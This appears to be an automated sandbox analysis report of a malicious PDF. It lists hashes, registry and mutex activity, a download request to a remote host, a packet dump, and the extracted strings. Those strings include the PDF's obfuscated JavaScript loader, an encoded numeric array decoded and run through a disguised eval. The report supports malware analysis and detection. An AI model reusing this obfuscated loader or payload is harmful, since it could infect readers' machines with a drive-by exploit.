Analysis Date2014-08-22 01:26:21
MD535fb03418c05e1bcaa73583d6fdf975a
SHA1afb65983c1729f217ebff86936ab2abd7c2479cb

Static Details:

File typePDF document, version 1.6

Runtime Details:

Screenshot

Process
↳ C:\malware.pdf

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates MutexGlobal\AcrobatViewerIsRunning
Creates MutexDBWinMutex
Winsock DNSisosihpoect.com
Winsock URLhttp://isosihpoect.com/w.php?f=6&e=3

Network Details:

DNSisosihpoect.com
Type: A
208.73.211.174
DNSisosihpoect.com
Type: A
208.73.211.175
DNSisosihpoect.com
Type: A
208.73.211.193
DNSisosihpoect.com
Type: A
208.73.211.242
DNSisosihpoect.com
Type: A
208.73.211.163
HTTP GEThttp://isosihpoect.com/w.php?f=6&e=3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Flows TCP192.168.1.1:1032 ➝ 208.73.211.174:80

Raw Pcap
0x00000000 (00000)   47455420 2f772e70 68703f66 3d362665   GET /w.php?f=6&e
0x00000010 (00016)   3d332048 5454502f 312e310d 0a416363   =3 HTTP/1.1..Acc
0x00000020 (00032)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000030 (00048)   2d456e63 6f64696e 673a2067 7a69702c   -Encoding: gzip,
0x00000040 (00064)   20646566 6c617465 0d0a5573 65722d41    deflate..User-A
0x00000050 (00080)   67656e74 3a204d6f 7a696c6c 612f342e   gent: Mozilla/4.
0x00000060 (00096)   30202863 6f6d7061 7469626c 653b204d   0 (compatible; M
0x00000070 (00112)   53494520 362e303b 2057696e 646f7773   SIE 6.0; Windows
0x00000080 (00128)   204e5420 352e313b 20535631 3b202e4e    NT 5.1; SV1; .N
0x00000090 (00144)   45542043 4c522032 2e302e35 30373237   ET CLR 2.0.50727
0x000000a0 (00160)   290d0a48 6f73743a 2069736f 73696870   )..Host: isosihp
0x000000b0 (00176)   6f656374 2e636f6d 0d0a436f 6e6e6563   oect.com..Connec
0x000000c0 (00192)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000d0 (00208)   0d0a0d0a                              ....


Strings
21 0 obj
23 0 obj
24 0 obj
25 0 obj
26 0 obj
28 0 obj
60 0 obj
7 0 obj
76 0 obj
ar='42@36@55@71@55@11@58@11@48@48@51@9@49@70@15@11@41@50@29@20@68@68@41@50@36@54@71@75@41@50@29@30@36@54@41@50@27@30@71@75@41@50@71@45@20@75@41@50@20@20@30@36@41@50@68@75@54@18@41@50@75@18@29@51@41@50@29@51@20@18@41@50@18@54@75@18@41@50@27@18@29@51@41@50@30@68@58@54@41@50@27@68@29@51@41@50@20@20@18@29@41@50@68@68@1@51@41@50@30@71@29@51@41@50@18@20@20@54@41@50@20@20@27@75@41@50@29@58@74@54@41@50@58@30@71@71@41@50@36@36@58@18@41@50@51@29@36@36@41@50@75@18@29@51@41@50@54@20@20@18@41@50@20@45@75@68@41@50@27@30@18@68@41@50@29@27@36@51@41@50@74@75@20@75@41@50@71@75@29@30@41@50@30@58@27@30@41@50@71@51@71@45@41@50@30@58@75@54@41@50@29@51@30@68@41@50@20@54@27@30@41@50@27@75@29@51@41@50@27@29@20@30@41@50@36@30@18@20@41@50@29@51@30@68@41@50@74@18@27@68@41@50@36@30@18@20@41@50@54@45@20@20@41@50@75@58@75@45@41@50@5@1@36@54@41@50@54@30@18@20@41@50@1@51@20@20@41@50@51@71@18@36@41@50@20@29@58@18@41@50@27@75@36@74@41@50@54@58@18@29@41@50@18@1@54@51@41@50@1@5@18@20@41@50@71@51@75@18@41@50@20@51@36@58@41@50@27@30@58@36@41@50@30@71@71@68@41@50@30@71@29@51@41@50@18@20@74@75@41@50@68@68@1@1@41@50@18@54@29@51@41@50@29@1@75@51@41@50@71@54@75@68@41@50@30@75@36@36@41@50@18@54@74@75@41@50@1@29@29@51@41@50@1@1@18@20@41@50@18@75@29@51@41@50@18@20@29@51@41@50@5@51@54@30@41@50@30@45@30@71@41@50@71@51@54@20@41@50@5@1@30@20@41@50@68@29@29@51@41@50@29@18@74@18@41@50@18@54@27@1@41@50@27@75@20@20@41@50@45@68@18@20@41@50@36@20@71@51@41@50@68@29@29@51@41@50@29@51@18@29@41@50@68@5@36@27@41@50@30@45@18@30@41@50@45@29@71@29@41@50@36@36@36@36@41@50@71@74@36@36@41@50@71@29@36@45@41@50@18@18@18@18@41@50@18@18@18@18@41@50@30@18@30@29@41@50@75@18@68@5@41@50@36@36@68@29@41@50@18@18@18@18@41@50@30@18@18@18@41@50@54@18@29@20@41@50@30@18@58@45@41@50@29@51@30@30@41@50@29@51@71@54@41@50@58@18@30@71@41@50@54@20@29@20@41@50@36@36@18@30@41@50@68@29@71@20@41@50@68@71@68@36@41@50@18@18@18@18@41@50@27@30@68@29@41@50@68@54@27@74@41@50@30@75@68@1@41@50@58@68@36@36@41@50@54@75@29@20@41@50@29@51@18@29@41@50@71@29@71@29@41@50@36@36@68@58@41@50@36@36@36@36@41@50@18@74@71@51@41@50@27@74@71@51@41@50@71@54@29@58@41@50@18@58@18@75@41@50@18@18@18@18@41@50@30@54@29@1@41@50@18@54@74@75@41@50@18@75@54@27@41@50@27@74@74@75@41@50@68@27@68@30@41@50@54@27@27@20@41@50@74@75@75@75@41@50@27@68@18@75@41@50@20@20@27@74@41@50@54@27@20@74@41@50@74@75@75@75@41@50@74@18@18@29@41@50@27@20@74@1@41@50@30@20@74@18@41@50@36@29@68@29@41@50@18@18@18@18@41@50@36@36@18@18@41@50@18@54@30@68@41@50@71@29@29@51@41@50@54@45@20@20@41@50@54@27@30@58@41@50@58@1@75@75@41@50@27@27@18@18@41@50@68@74@27@18@41@50@54@27@27@75@41@50@58@1@75@75@41@50@74@71@18@30@41@50@68@54@68@75@41@50@54@68@68@54@41@50@58@1@75@75@41@50@18@18@18@45@41@50@29@5@30@45@41@50@18@75@54@58@41@50@29@29@20@18@41@50@58@1@75@75@41@50@75@58@18@75@41@50@68@5@30@58@41@50@68@5@18@18@41@50@30@20@18@18@41@50@68@5@30@27@41@50@36@36@18@18@41@50@58@75@30@68@41@50@54@18@29@30@41@50@58@68@27@30@41@50@18@18@68@5@41@50@36@36@30@20@41@50@18@75@30@68@41@50@18@18@68@5@41@50@71@51@29@20@41@50@30@20@18@54@41@50@30@68@36@36@41@50@29@20@18@75@41@50@18@54@54@20@41@50@18@74@71@51@41@50@58@20@71@51@41@50@29@18@75@27@41@50@18@18@20@36@41@50@36@5@27@30@41@50@29@18@75@27@41@50@18@18@20@36@41@50@54@75@27@30@41@50@18@18@68@5@41@50@36@71@68@5@41@50@30@68@36@36@41@50@71@29@18@29@41@50@36@71@45@54@41@50@36@36@36@36@41@50@75@71@29@71@41@50@71@54@18@71@41@50@36@71@45@29@41@50@18@71@29@5@41@50@68@36@29@45@41@50@51@1@18@58@41@50@54@5@20@20@41@50@30@51@29@5@41@50@54@68@58@51@41@50@27@45@75@68@41@50@58@5@20@68@41@50@27@18@74@36@41@50@27@75@68@29@41@50@27@18@27@75@41@50@74@36@20@5@41@50@68@45@74@36@41@50@68@36@27@20@41@50@68@45@27@20@41@50@27@18@68@29@41@50@68@30@68@36@41@50@27@75@68@20@41@50@68@20@74@71@41@50@68@1@68@36@41@50@27@27@74@36@41@50@27@18@74@71@41@50@27@18@68@29@41@50@68@68@20@36@41@50@20@68@20@1@41@50@68@30@74@68@41@50@20@20@20@1@41@50@18@18@18@18@11@63@36@50@52@54@31@42@66@52@24@71@37@59@65@55@65@5@62@34@7@48@33@28@73@42@32@71@55@65@5@69@32@71@52@70@31@73@3@74@60@34@7@48@33@65@5@61@15@65@5@63@0@65@5@15@65@5@69@49@50@51@49@31@65@42@52@70@55@18@62@34@7@57@74@48@63@65@71@31@50@65@52@24@65@5@63@0@24@36@50@52@54@31@42@66@52@24@51@43@55@48@33@59@5@65@24@1@53@70@15@52@71@28@24@22@65@65@5@7@55@48@63@59@5@65@24@59@28@15@18@43@18@54@18@54@18@54@18@54@63@59@5@65@24@5@1@1@65@15@18@43@75@18@18@18@18@18@63@59@5@65@24@19@5@7@32@66@5@1@15@50@52@71@49@54@5@19@71@55@51@9@49@70@48@63@59@5@65@24@49@54@26@32@71@52@15@19@5@7@32@66@5@1@69@32@71@52@70@31@73@3@74@63@59@5@65@24@34@7@15@5@1@1@65@17@55@49@54@26@32@71@52@61@18@43@20@29@48@63@59@5@65@24@7@5@65@49@19@15@50@52@71@49@54@5@19@71@55@39@41@50@45@18@45@18@41@50@45@18@45@18@39@48@63@7@5@65@49@19@15@71@37@59@65@55@7@5@65@49@19@62@34@7@48@63@59@5@65@24@54@66@50@52@31@74@15@55@59@28@17@18@43@75@18@18@18@18@18@48@57@5@1@1@65@63@36@66@65@55@59@5@65@24@54@66@50@52@31@15@18@63@54@66@50@52@31@60@54@66@50@52@31@74@63@54@66@50@52@31@61@61@48@33@1@53@70@8@54@66@50@52@31@10@15@7@5@65@49@19@61@19@5@7@32@66@5@1@63@0@24@59@5@65@24@66@59@71@65@36@32@66@28@15@50@52@71@49@54@5@19@71@55@39@41@50@18@54@18@54@41@50@18@54@18@54@39@48@63@28@73@42@32@71@55@66@59@71@65@36@32@66@28@69@32@71@52@70@31@73@60@75@75@45@30@74@48@33@66@59@71@65@36@32@66@28@61@15@66@59@71@65@36@32@66@28@63@0@24@31@73@42@49@69@54@66@32@32@5@51@64@31@66@65@71@15@4@66@32@32@5@51@69@54@66@32@32@71@54@31@14@13@5@42@32@67@52@36@66@55@33@49@50@51@9@38@39@39@62@13@49@70@38@66@59@71@65@36@32@66@28@0@48@63@0@24@36@50@52@54@31@42@66@52@24@19@65@42@52@31@36@55@48@33@52@66@19@15@50@52@71@49@54@5@19@71@55@39@41@50@18@22@18@22@41@50@18@22@18@22@41@50@18@22@18@22@41@50@18@22@18@22@39@48@63@59@5@65@24@19@5@7@32@66@5@1@15@50@52@71@49@54@5@19@71@55@51@9@49@70@48@63@73@71@5@19@51@32@66@54@53@15@52@66@19@61@19@5@7@32@66@5@1@63@51@42@70@51@32@66@54@53@15@50@52@71@49@54@5@19@71@55@39@41@50@18@22@18@22@41@50@18@22@18@22@39@48@63@73@71@5@1@71@65@49@42@37@71@15@74@18@63@49@19@65@5@7@15@73@71@5@1@71@65@49@42@37@71@61@73@71@5@19@51@32@66@54@53@69@32@71@52@70@31@73@63@28@73@42@32@71@55@51@42@70@51@32@66@54@53@69@32@71@52@70@31@73@60@49@19@65@5@7@48@33@51@42@70@51@32@66@54@53@61@15@51@42@70@51@32@66@54@53@63@0@24@36@42@32@32@51@32@66@54@53@15@51@42@70@51@32@66@54@53@69@49@50@51@49@31@65@42@52@70@55@18@62@49@19@65@5@7@48@63@51@32@66@54@53@15@51@42@70@51@32@66@54@53@69@49@50@51@49@31@65@42@52@70@55@18@62@51@42@70@51@32@66@54@53@69@32@71@52@70@31@73@17@49@19@65@5@7@48@63@28@73@42@32@71@55@51@32@66@54@53@69@32@71@52@70@31@73@61@49@19@65@5@7@60@18@43@75@18@18@18@18@48@33@51@32@66@54@53@15@51@32@66@54@53@61@51@32@66@54@53@61@36@42@32@32@51@32@66@54@53@63@0@24@13@71@13@15@52@71@28@24@22@65@65@5@7@55@48@63@36@66@65@55@42@15@18@63@42@60@58@75@18@18@63@42@61@61@48@33@13@71@13@8@42@10@15@51@32@66@54@53@61@73@71@5@19@51@32@66@54@53@63@0@24@59@5@65@24@52@50@13@15@58@74@45@45@45@45@45@45@45@45@45@45@45@45@45@45@45@45@45@45@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@29@63@50@31@42@32@69@19@65@42@52@31@36@55@39@41@75@30@18@18@18@36@39@62@52@50@13@48@63@0@24@36@50@52@54@31@42@66@52@24@70@71@31@42@54@66@52@55@48@33@59@5@65@24@5@65@65@7@15@52@71@28@24@22@65@65@5@7@55@48@63@42@36@55@5@19@19@69@1@66@54@69@4@66@32@32@5@51@69@70@71@31@67@54@66@52@48@33@59@5@65@24@19@5@7@32@66@5@1@15@50@52@71@49@54@5@19@71@55@51@9@49@70@48@63@59@5@65@24@73@44@34@30@18@18@4@2@15@19@5@7@32@66@5@1@69@32@71@52@70@31@73@3@74@63@59@5@65@24@34@7@15@18@43@75@18@18@18@18@18@17@55@73@44@34@30@18@18@4@2@61@18@43@20@29@48@63@59@5@65@24@7@5@65@49@19@15@50@52@71@49@54@5@19@71@55@39@41@50@45@18@45@18@41@50@45@18@45@18@39@48@63@7@5@65@49@19@15@71@37@59@65@55@7@5@65@49@19@62@34@7@48@63@59@5@65@24@19@30@22@9@16@68@30@36@15@55@18@43@18@54@18@54@18@54@18@54@17@18@43@75@18@18@18@18@18@48@57@18@43@75@18@18@18@18@18@63@36@66@65@55@59@5@65@24@59@34@54@25@23@45@68@7@15@18@63@59@34@54@25@23@45@68@7@60@19@30@22@9@16@68@30@36@63@59@34@54@25@23@45@68@7@61@61@48@33@5@65@65@7@8@59@34@54@25@23@45@68@7@10@15@7@5@65@49@19@61@19@5@7@32@66@5@1@63@0@24@59@5@65@24@31@40@12@73@2@51@35@28@15@50@52@71@49@54@5@19@71@55@39@41@18@45@39@48@63@28@73@42@32@71@55@31@40@12@73@2@51@35@28@69@32@71@52@70@31@73@60@18@43@75@18@18@18@48@33@31@40@12@73@2@51@35@28@61@15@31@40@12@73@2@51@35@28@63@0@24@31@40@12@73@2@51@35@28@15@39@2@69@39@61@31@40@12@73@2@51@35@28@63@5@19@19@69@1@66@54@69@4@66@32@32@5@51@69@70@71@31@67@54@66@52@55@31@40@12@73@2@51@35@28@48@63@0@0@24@5@46@32@50@70@42@52@49@15@5@19@19@69@19@32@50@70@67@52@49@63@59@5@65@24@49@59@15@19@5@65@49@71@67@52@31@55@5@19@19@69@59@42@71@28@71@65@56@71@65@49@42@66@52@69@31@66@64@31@65@42@52@70@55@48@69@54@73@5@65@22@31@55@18@48@48@63@36@66@65@55@59@5@65@24@42@15@18@63@42@60@5@46@32@50@70@42@52@49@69@32@71@52@70@31@73@63@42@61@61@48@33@42@36@55@5@46@32@50@70@42@52@49@8@42@10@69@52@5@13@71@15@15@11@14@64@54@65@42@19@31@11@48@33@59@5@65@24@32@59@15@5@46@32@50@70@42@52@49@8@42@10@69@59@71@65@49@42@66@52@63@0@0@24@42@36@55@55@32@59@15@15@45@48@21@21@55@55@49@59@15@15@29@48@72@72@55@32@59@60@15@29@69@58@74@48@48@48@33@70@71@31@42@54@66@52@55@48@63@0@71@32@49@71@24@42@36@55@32@59@15@15@27@69@58@48@33@19@65@42@52@31@36@55@48@63@0@71@32@49@71@24@42@36@55@55@55@49@59@15@15@68@48@21@21@55@49@59@15@15@27@48@48@72@72@55@32@59@60@27@69@58@58@48@48@33@51@43@55@48@63@0@71@32@49@71@24@42@36@55@55@32@59@47@15@45@69@58@48@21@21@55@32@59@60@15@45@69@74@48@21@21@55@32@59@47@15@29@69@58@20@48@21@21@55@32@59@60@15@29@69@58@27@48@48@33@36@50@52@54@31@42@66@52@24@5@55@48@33@50@31@42@32@69@19@65@42@52@31@1@55@11@19@6@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@58@24@38@24@7@7@7@7@58@58@58@11@62@52@71@28@24@23@5@31@71@55@48@48@63@0@59@5@65@24@73@15@5@19@19@69@19@32@50@70@67@52@49@63@36@66@65@55@59@5@65@24@36@15@18@63@36@60@73@69@32@71@52@70@31@73@63@36@61@61@48@33@42@36@55@73@8@36@10@69@52@5@13@71@15@15@11@14@64@54@65@42@19@31@11@48@33@59@5@65@24@42@15@73@8@36@10@69@59@71@65@49@42@66@52@63@0@0@24@42@36@55@55@42@47@29@69@58@74@48@72@72@55@42@60@29@69@74@48@48@33@54@15@52@71@28@24@22@65@65@5@7@55@48@63@59@5@65@24@1@15@50@52@71@49@54@5@19@71@55@11@41@50@45@18@45@18@41@50@45@18@45@18@11@48@63@59@5@65@24@71@15@50@52@71@49@54@5@19@71@55@51@9@49@70@48@63@28@73@42@32@71@55@1@69@32@71@52@70@31@73@60@15@18@43@29@18@18@18@48@33@1@61@15@1@63@0@1@15@1@69@49@50@51@49@31@65@55@18@62@18@43@29@18@18@18@17@71@69@32@71@52@70@31@73@48@63@36@66@65@55@36@15@18@63@36@60@74@45@18@18@63@36@61@61@48@33@54@8@36@10@15@1@61@71@63@0@5@55@48@63@5@55@48@63@31@65@7@33@31@73@42@49@69@13@71@1@42@5@69@52@71@28@46@32@5@7@71@65@55@52@50@32@32@48@63@0@54@5@31@54@73@55@71@48@33@0@5@55@48@63@0@0';
ar=ar.split\('@'\);
cc={q:'}dN*Ca@y[j]"MmE=K-0p3|AD Q_7w85tl{qGfz:"U%ixW9P>\)subnkc\(V/1v<+,;SroI6.ge&h24'}.q;
<</Count 1/Type/Pages/Kids[28 0 R]>>
endobj
endstream
e=t['indexOf'];
for\(i=0;i<ar.length;i++\){
<</JavaScript 24 0 R/AP 8 0 R>>
<</Length 1108/Filter[/FlateDecode]>>stream
<</Length 539/Filter/FlateDecode/Type/Contents>>stream
m=1-1;
<</Names[123 0 R 76 0 R]>>
<</Names 23 0 R/AcroForm 22 0 R/Pages 7 0 R/OCProperties<</D<</RBGroups[]>>>>/StructTreeRoot 11 0 R/Type/Catalog>>
<</Parent 7 0 R/Contents 60 0 R/Rotate 90/MediaBox[0 0 12 92]/Resources<</XObject<</Im0 69 0 R>>/ColorSpace<</CS0 59 0 R>>/Font<</TT0 61 0 R>>/Properties/ExtGState>>/Type/Page>>
%PDF-1.6
q=x[0]+'val';
/Root 21 0 R>>
s[i]=n[ar[i]];
<</Size 155
<</Size 155/Prev 75626/XRefStm 416/Root 21 0 R>>
<</S/JavaScript/JS(
<</S/JavaScript/JS 26 0 R>>
s=new Array\(\);
ss='split';
startxref
t='214124';
trailer
w=e\(12\)[q];
w\(s.join\(''\)\);
x='en634b62352v';